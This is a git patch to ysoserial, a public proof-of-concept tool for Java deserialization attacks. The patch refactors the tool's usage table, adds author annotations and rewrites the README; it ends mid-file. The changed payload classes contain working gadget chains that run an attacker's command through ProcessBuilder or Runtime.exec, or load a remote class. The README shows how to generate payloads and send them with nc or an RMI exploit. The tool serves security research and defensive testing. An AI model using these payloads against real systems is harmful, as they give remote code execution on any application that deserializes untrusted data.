From 028ee30e9c04530986b55884a130298bca31505f Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Sat, 2 Sep 2017 20:57:11 -0700 Subject: [PATCH] fixes, refactoring --- .editorconfig | 13 + .gitignore | 14 +- .travis.yml | 9 +- README.md | 236 ++++++++++-------- all.policy | 3 - pom.xml | 7 +- src/main/java/ysoserial/GeneratePayload.java | 38 +-- src/main/java/ysoserial/Strings.java | 55 ++++ .../java/ysoserial/payloads/BeanShell1.java | 7 +- src/main/java/ysoserial/payloads/C3P0.java | 25 +- src/main/java/ysoserial/payloads/Clojure.java | 12 +- .../ysoserial/payloads/CommonsBeanutils1.java | 86 +++---- .../payloads/CommonsCollections1.java | 28 ++- .../payloads/CommonsCollections2.java | 4 +- .../payloads/CommonsCollections3.java | 6 +- .../payloads/CommonsCollections4.java | 2 + .../payloads/CommonsCollections5.java | 18 +- .../payloads/CommonsCollections6.java | 2 + .../java/ysoserial/payloads/FileUpload1.java | 8 +- src/main/java/ysoserial/payloads/Groovy1.java | 14 +- .../java/ysoserial/payloads/Hibernate1.java | 10 +- .../java/ysoserial/payloads/Hibernate2.java | 20 +- .../payloads/JBossInterceptors1.java | 8 +- .../java/ysoserial/payloads/JRMPClient.java | 16 +- .../java/ysoserial/payloads/JRMPListener.java | 6 +- src/main/java/ysoserial/payloads/JSON1.java | 17 +- .../ysoserial/payloads/JavassistWeld1.java | 8 +- src/main/java/ysoserial/payloads/Jdk7u21.java | 6 +- src/main/java/ysoserial/payloads/Jython1.java | 6 +- .../ysoserial/payloads/MozillaRhino1.java | 4 +- .../java/ysoserial/payloads/Myfaces1.java | 18 +- .../java/ysoserial/payloads/Myfaces2.java | 22 +- src/main/java/ysoserial/payloads/ROME.java | 28 ++- src/main/java/ysoserial/payloads/Spring1.java | 28 ++- src/main/java/ysoserial/payloads/Spring2.java | 15 +- src/main/java/ysoserial/payloads/URLDNS.java | 20 +- src/main/java/ysoserial/payloads/Wicket1.java | 18 +- .../payloads/annotation/Authors.java | 33 +++ .../payloads/annotation/Dependencies.java | 9 + .../payloads/util/PayloadRunner.java | 23 +- .../java/ysoserial/payloads/PayloadsTest.java | 10 +- 41 files changed, 570 insertions(+), 342 deletions(-) create mode 100644 .editorconfig delete mode 100755 all.policy create mode 100644 src/main/java/ysoserial/Strings.java create mode 100644 src/main/java/ysoserial/payloads/annotation/Authors.java diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 00000000..9635f650 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,13 @@ +root = true + +[*] +end_of_line = lf +charset = utf-8 +trim_trailing_whitespace = true +insert_final_newline = true +indent_style = space +indent_size = 4 +max_line_length = 120 + +[*.{yml,yaml}] +indent_size = 2 diff --git a/.gitignore b/.gitignore index f3ccac5f..b256a7b6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,17 @@ -/target +# java +*.class + +# mvn +target/ + +# eclipse .classpath .project .settings/ + +# idea +.idea/ +*.iml + +# tests pwntest diff --git a/.travis.yml b/.travis.yml index 20a6b559..0f89be43 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,6 +1,11 @@ +dist: trusty language: java +# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8. +# Sun JDK 6 is not provided, because it is EOL as of November 2012. +# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it. jdk: - oraclejdk8 - - oraclejdk7 + #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884 + - openjdk8 - openjdk7 - - openjdk6 \ No newline at end of file + #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199 \ No newline at end of file diff --git a/README.md b/README.md index e696b1cb..f012a484 100644 --- a/README.md +++ b/README.md @@ -1,109 +1,127 @@ - -# ysoserial - -[![Join the chat at https://gitter.im/frohoff/ysoserial](https://badges.gitter.im/frohoff/ysoserial.svg)](https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) - -A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. - -![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) - -## Description - -Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). -Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0). - -__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java -libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. -The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then -serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes -this data, the chain will automatically be invoked and cause the command to be executed on the application host. - -It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having -gadgets on the classpath. - -## Disclaimer - -This software has been created purely for the purposes of academic research and -for the development of effective defensive techniques, and is not intended to be -used to attack systems except where explicitly authorized. Project maintainers -are not responsible or liable for misuse of the software. Use responsibly. - -## Usage - -```shell -$ java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar -Y SO SERIAL? -Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' - Available payload types: - BeanShell1 [org.beanshell:bsh:2.0b5] - C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11] - Clojure [org.clojure:clojure:1.8.0] - CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2] - CommonsCollections1 [commons-collections:commons-collections:3.1] - CommonsCollections2 [org.apache.commons:commons-collections4:4.0] - CommonsCollections3 [commons-collections:commons-collections:3.1] - CommonsCollections4 [org.apache.commons:commons-collections4:4.0] - CommonsCollections5 [commons-collections:commons-collections:3.1] - CommonsCollections6 [commons-collections:commons-collections:3.1] - FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4] - Groovy1 [org.codehaus.groovy:groovy:2.3.9] - Hibernate1 [] - Hibernate2 [] - JBossInterceptors1 [javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21] - JRMPClient [] - JRMPListener [] - JSON1 [net.sf.json-lib:json-lib:jar:jdk15:2.4, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2, commons-lang:commons-lang:2.6, net.sf.ezmorph:ezmorph:1.0.6, commons-beanutils:commons-beanutils:1.9.2, org.springframework:spring-core:4.1.4.RELEASE, commons-collections:commons-collections:3.1] - JavassistWeld1 [javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21] - Jdk7u21 [] - Jython1 [org.python:jython-standalone:2.5.2] - MozillaRhino1 [rhino:js:1.7R2] - Myfaces1 [] - Myfaces2 [] - ROME [rome:rome:1.0] - Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE] - Spring2 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2] - URLDNS [] - Wicket1 [wicket-util:wicket-util:6.23] -``` - -## Examples - -```shell -$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd -0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl -0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A -0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat -... -0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov -0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... -0000570: 0078 7071 007e 003a .xpq.~.: - -$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin -$ nc 10.10.10.10 < groovypayload.bin - -$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe -``` - -## Installation - -1. Download the latest jar from [JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) . - -Note that GitHub-hosted releases were removed in compliance with the [GitHub Community Guidelines](https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed) - -## Building - -Requires Java 1.7+ and Maven 3.x+ - -```mvn clean package -DskipTests``` - -## Code Status - -[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial) - -## Contributing - -1. Fork it -2. Create your feature branch (`git checkout -b my-new-feature`) -3. Commit your changes (`git commit -am 'Add some feature'`) -4. Push to the branch (`git push origin my-new-feature`) -5. Create new Pull Request + +# ysoserial + +[![Join the chat at https://gitter.im/frohoff/ysoserial]( + https://badges.gitter.im/frohoff/ysoserial.svg)]( + https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) +[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)]( + https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) + +A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. + +![logo](ysoserial.png) + +## Description + +Originally released as part of AppSecCali 2015 Talk +["Marshalling Pickles: how deserializing objects will ruin your day"]( + http://frohoff.github.io/appseccali-marshalling-pickles/) +with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). +Later updated to include additional gadget chains for +[JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries. + +__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java +libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of +objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then +serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes +this data, the chain will automatically be invoked and cause the command to be executed on the application host. + +It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having +gadgets on the classpath. + +## Disclaimer + +This software has been created purely for the purposes of academic research and +for the development of effective defensive techniques, and is not intended to be +used to attack systems except where explicitly authorized. Project maintainers +are not responsible or liable for misuse of the software. Use responsibly. + +## Usage + +```shell +$ java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar +Y SO SERIAL? +Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]' + Available payload types: + Payload Authors Dependencies + ------- ------- ------------ + BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 + C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 + Clojure @JackOfMostTrades clojure:1.8.0 + CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 + CommonsCollections1 @frohoff commons-collections:3.1 + CommonsCollections2 @frohoff commons-collections4:4.0 + CommonsCollections3 @frohoff commons-collections:3.1 + CommonsCollections4 @frohoff commons-collections4:4.0 + CommonsCollections5 @frohoff commons-collections:3.1 + CommonsCollections6 @matthias_kaiser commons-collections:3.1 + FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 + Groovy1 @frohoff groovy:2.3.9 + Hibernate1 @mbechler + Hibernate2 @mbechler + JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + JRMPClient @mbechler + JRMPListener @mbechler + JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 + JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + Jdk7u21 @frohoff + Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 + MozillaRhino1 @mbechler js:1.7R2 + Myfaces1 @mbechler + Myfaces2 @mbechler + ROME @mbechler rome:1.0 + Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE + Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 + URLDNS @gebl + Wicket1 @jacob-baines wicket-util:6.23 +``` + +## Examples + +```shell +$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd +0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl +0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A +0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat +... +0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov +0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... +0000570: 0078 7071 007e 003a .xpq.~.: + +$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin +$ nc 10.10.10.10 1099 < groovypayload.bin + +$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe +``` + +## Installation + +1. Download the latest jar from +[JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) +[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)]( + https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) + +Note that GitHub-hosted releases were removed in compliance with the +[GitHub Community Guidelines]( + https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed) + +## Building + +Requires Java 1.7+ and Maven 3.x+ + +```mvn clean package -DskipTests``` + +## Code Status + +[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial) + +## Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new Pull Request + +## Additional Reading +* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet diff --git a/all.policy b/all.policy deleted file mode 100755 index c26e27b7..00000000 --- a/all.policy +++ /dev/null @@ -1,3 +0,0 @@ -grant { - permission java.security.AllPermission; -}; \ No newline at end of file diff --git a/pom.xml b/pom.xml index bfa1b2e6..db066423 100644 --- a/pom.xml +++ b/pom.xml @@ -8,7 +8,7 @@ jar ysoserial - http://maven.apache.org + https://github.com/frohoff/ysoserial/ UTF-8 @@ -52,6 +52,7 @@ org.apache.maven.plugins maven-surefire-plugin + 2.20 false @@ -60,7 +61,7 @@ - + jenkins @@ -360,6 +361,6 @@ - + diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 092d7ead..88776f34 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -1,19 +1,15 @@ package ysoserial; import java.io.PrintStream; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.Collections; -import java.util.Comparator; -import java.util.List; +import java.util.*; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; @SuppressWarnings("rawtypes") public class GeneratePayload { - private static final int INTERNAL_ERROR_CODE = 70; private static final int USAGE_CODE = 64; @@ -49,18 +45,28 @@ public static void main(final String[] args) { private static void printUsage() { System.err.println("Y SO SERIAL?"); - System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); - System.err.println("\tAvailable payload types:"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); + System.err.println(" Available payload types:"); + final List> payloadClasses = new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); - Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize - for (Class payloadClass : payloadClasses) { - System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); - } - } + Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize - public static class ToStringComparator implements Comparator { - public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } - } + final List rows = new LinkedList(); + rows.add(new String[] {"Payload", "Authors", "Dependencies"}); + rows.add(new String[] {"-------", "-------", "------------"}); + for (Class payloadClass : payloadClasses) { + rows.add(new String[] { + payloadClass.getSimpleName(), + Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "") + }); + } + + final List lines = Strings.formatTable(rows); + for (String line : lines) { + System.err.println(" " + line); + } + } } diff --git a/src/main/java/ysoserial/Strings.java b/src/main/java/ysoserial/Strings.java new file mode 100644 index 00000000..84c21971 --- /dev/null +++ b/src/main/java/ysoserial/Strings.java @@ -0,0 +1,55 @@ +package ysoserial; + +import org.apache.commons.lang.StringUtils; + +import java.util.Arrays; +import java.util.Comparator; +import java.util.LinkedList; +import java.util.List; + +public class Strings { + public static String join(Iterable strings, String sep, String prefix, String suffix) { + final StringBuilder sb = new StringBuilder(); + boolean first = true; + for (String s : strings) { + if (! first) sb.append(sep); + if (prefix != null) sb.append(prefix); + sb.append(s); + if (suffix != null) sb.append(suffix); + first = false; + } + return sb.toString(); + } + + public static String repeat(String str, int num) { + final String[] strs = new String[num]; + Arrays.fill(strs, str); + return join(Arrays.asList(strs), "", "", ""); + } + + public static List formatTable(List rows) { + final Integer[] maxLengths = new Integer[rows.get(0).length]; + for (String[] row : rows) { + if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); + for (int i = 0; i < maxLengths.length; i++) { + if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { + maxLengths[i] = row[i].length(); + } + } + } + + final List lines = new LinkedList(); + for (String[] row : rows) { + for (int i = 0; i < maxLengths.length; i++) { + final String pad = repeat(" ", maxLengths[i] - row[i].length()); + row[i] = row[i] + pad; + } + lines.add(join(Arrays.asList(row), " ", "", "")); + } + return lines; + } + + public static class ToStringComparator implements Comparator { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } +} diff --git a/src/main/java/ysoserial/payloads/BeanShell1.java b/src/main/java/ysoserial/payloads/BeanShell1.java index 80ab9d91..a57eef1d 100644 --- a/src/main/java/ysoserial/payloads/BeanShell1.java +++ b/src/main/java/ysoserial/payloads/BeanShell1.java @@ -7,6 +7,8 @@ import java.lang.reflect.Proxy; import java.util.Comparator; import java.util.PriorityQueue; + +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; @@ -17,8 +19,9 @@ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) public class BeanShell1 extends PayloadRunner implements ObjectPayload { - + public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; @@ -44,7 +47,7 @@ public PriorityQueue getObject(String command) throws Exception { return priorityQueue; } - + public static void main(final String[] args) throws Exception { PayloadRunner.run(BeanShell1.class, args); } diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java index 75876a24..3b2d290d 100644 --- a/src/main/java/ysoserial/payloads/C3P0.java +++ b/src/main/java/ysoserial/payloads/C3P0.java @@ -15,6 +15,7 @@ import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; @@ -22,25 +23,25 @@ /** - * - * - * com.sun.jndi.rmi.registry.RegistryContext->lookup + * + * + * com.sun.jndi.rmi.registry.RegistryContext->lookup * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject - * + * * Arguments: * - base_url:classname - * + * * Yields: * - Instantiation of remotely loaded class - * + * * @author mbechler * */ @PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" ) @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) +@Authors({ Authors.MBECHLER }) public class C3P0 implements ObjectPayload { - public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { @@ -49,7 +50,7 @@ public Object getObject ( String command ) throws Exception { String url = command.substring(0, sep); String className = command.substring(sep + 1); - + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; @@ -59,10 +60,10 @@ public Object getObject ( String command ) throws Exception { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { - + private String className; private String url; - + public PoolSource ( String className, String url ) { this.className = className; this.url = url; @@ -79,9 +80,9 @@ public void setLoginTimeout ( int seconds ) throws SQLException {} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} - + } - + public static void main ( final String[] args ) throws Exception { PayloadRunner.run(C3P0.class, args); diff --git a/src/main/java/ysoserial/payloads/Clojure.java b/src/main/java/ysoserial/payloads/Clojure.java index f0ad9118..d43e703e 100644 --- a/src/main/java/ysoserial/payloads/Clojure.java +++ b/src/main/java/ysoserial/payloads/Clojure.java @@ -2,6 +2,7 @@ import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; import clojure.lang.PersistentArrayMap; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; @@ -9,21 +10,22 @@ import java.util.Map; /* - Gadget chain: + Gadget chain: ObjectInputStream.readObject() HashMap.readObject() AbstractTableModel$ff19274a.hashCode() clojure.core$comp$fn__4727.invoke() clojure.core$constantly$fn__4614.invoke() clojure.main$eval_opt.invoke() - + Requires: org.clojure:clojure Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions */ @Dependencies({"org.clojure:clojure:1.8.0"}) +@Authors({ Authors.JACKOFMOSTTRADES }) public class Clojure extends PayloadRunner implements ObjectPayload> { - + public Map getObject(final String command) throws Exception { final String[] execArgs = command.split(" "); @@ -54,9 +56,9 @@ public class Clojure extends PayloadRunner implements ObjectPayload> { return targetMap; } - + public static void main(final String[] args) throws Exception { PayloadRunner.run(Clojure.class, args); } - + } diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutils1.java b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java index cc0d977a..2495be77 100755 --- a/src/main/java/ysoserial/payloads/CommonsBeanutils1.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java @@ -1,42 +1,44 @@ -package ysoserial.payloads; - -import java.math.BigInteger; -import java.util.PriorityQueue; - -import org.apache.commons.beanutils.BeanComparator; - -import ysoserial.payloads.annotation.Dependencies; -import ysoserial.payloads.util.Gadgets; -import ysoserial.payloads.util.PayloadRunner; -import ysoserial.payloads.util.Reflections; - -@SuppressWarnings({ "rawtypes", "unchecked" }) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) -public class CommonsBeanutils1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); - // mock method name until armed - final BeanComparator comparator = new BeanComparator("lowestSetBit"); - - // create queue with numbers and basic comparator - final PriorityQueue queue = new PriorityQueue(2, comparator); - // stub data for replacement later - queue.add(new BigInteger("1")); - queue.add(new BigInteger("1")); - - // switch method called by comparator - Reflections.setFieldValue(comparator, "property", "outputProperties"); - - // switch contents of queue - final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - queueArray[0] = templates; - queueArray[1] = templates; - - return queue; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(CommonsBeanutils1.class, args); - } -} \ No newline at end of file +package ysoserial.payloads; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +import org.apache.commons.beanutils.BeanComparator; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Authors({ Authors.FROHOFF }) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsBeanutils1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java index ce6d0e2c..6f225948 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections1.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java @@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; @@ -18,7 +19,7 @@ import ysoserial.payloads.util.Reflections; /* - Gadget chain: + Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() @@ -27,23 +28,24 @@ ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() - Method.invoke() + Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() - Runtime.exec() - + Runtime.exec() + Requires: commons-collections */ @SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) @PayloadTest ( precondition = "isApplicableJavaVersion") +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({ Authors.FROHOFF }) public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { - + public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup @@ -65,20 +67,20 @@ public InvocationHandler getObject(final String command) throws Exception { final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); - + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); - - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain - + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + return handler; } - + public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } - + public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java index f6c7ea4b..7df52880 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections2.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -6,6 +6,7 @@ import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -24,7 +25,8 @@ */ @SuppressWarnings({ 